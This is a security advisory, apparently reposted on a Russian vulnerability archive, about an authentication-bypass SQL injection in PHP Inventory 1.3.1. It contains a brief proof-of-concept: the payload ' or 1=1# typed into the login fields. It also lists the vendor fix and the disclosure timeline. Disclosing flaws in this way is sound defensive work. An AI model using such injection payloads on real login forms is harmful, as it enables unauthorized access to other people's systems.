Информационная безопасность
[RU] switch to English


Дополнительная информация

  Cводка уязвимостей безопасности в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

  MVSA-11-013 - EllisLab xss_clean Filter Bypass - ExpressionEngine and CodeIgniter

  Security-Assessment.
com Release: Hacking Hollywood Slides, Advisories and Exploits

  Insecure RSA Encryption in jCryption, PEAR Crypt_RSA and Crypt_RSA2

  [SECURITY] [DSA 2355-1] clearsilver security update

From:security_(at)_infoserve.de <security_(at)_infoserve.de>
Date:4 декабря 2011 г.
Subject:PHP Inventory 1.3.1 Remote (Auth Bypass) SQL Injection Vulnerability

Advisory:               PHP Inventory 1.3.1 Remote (Auth Bypass) SQL Injection Vulnerability
Advisory ID:            INFOSERVE-ADV2011-08
Author:                 Stefan Schurtz
Contact:                [email protected]
Affected Software:      Successfully tested on PHP Inventory 1.3.1
Vendor URL:             http://www.phpwares.com/
Vendor Status:          fixed
CVE-ID:                 CVE-2009-4595,CVE-2009-4596,CVE-2009-4597

==========================
Vulnerability Description
==========================

PHP Inventory is (still) prone to a SQL-Injection (Auth Bypass) vulnerability

==================
PoC-Exploit
==================

http://[target]/php-inventory/index.php

// with 'magic_quotes_gpc = Off'

USER NAME = ' or 1=1#

or

USER NAME = admin
PASSWORD = ' or 1=1#

=========
Solution
=========

Update to the latest version 1.3.2

====================
Disclosure Timeline
====================

29-Nov-2011 - informed vendor (contact form)
30-Nov-2011 - vendor fix

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-08.txt
http://www.exploit-db.com/exploits/10370/
http://secunia.com/advisories/37672/

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород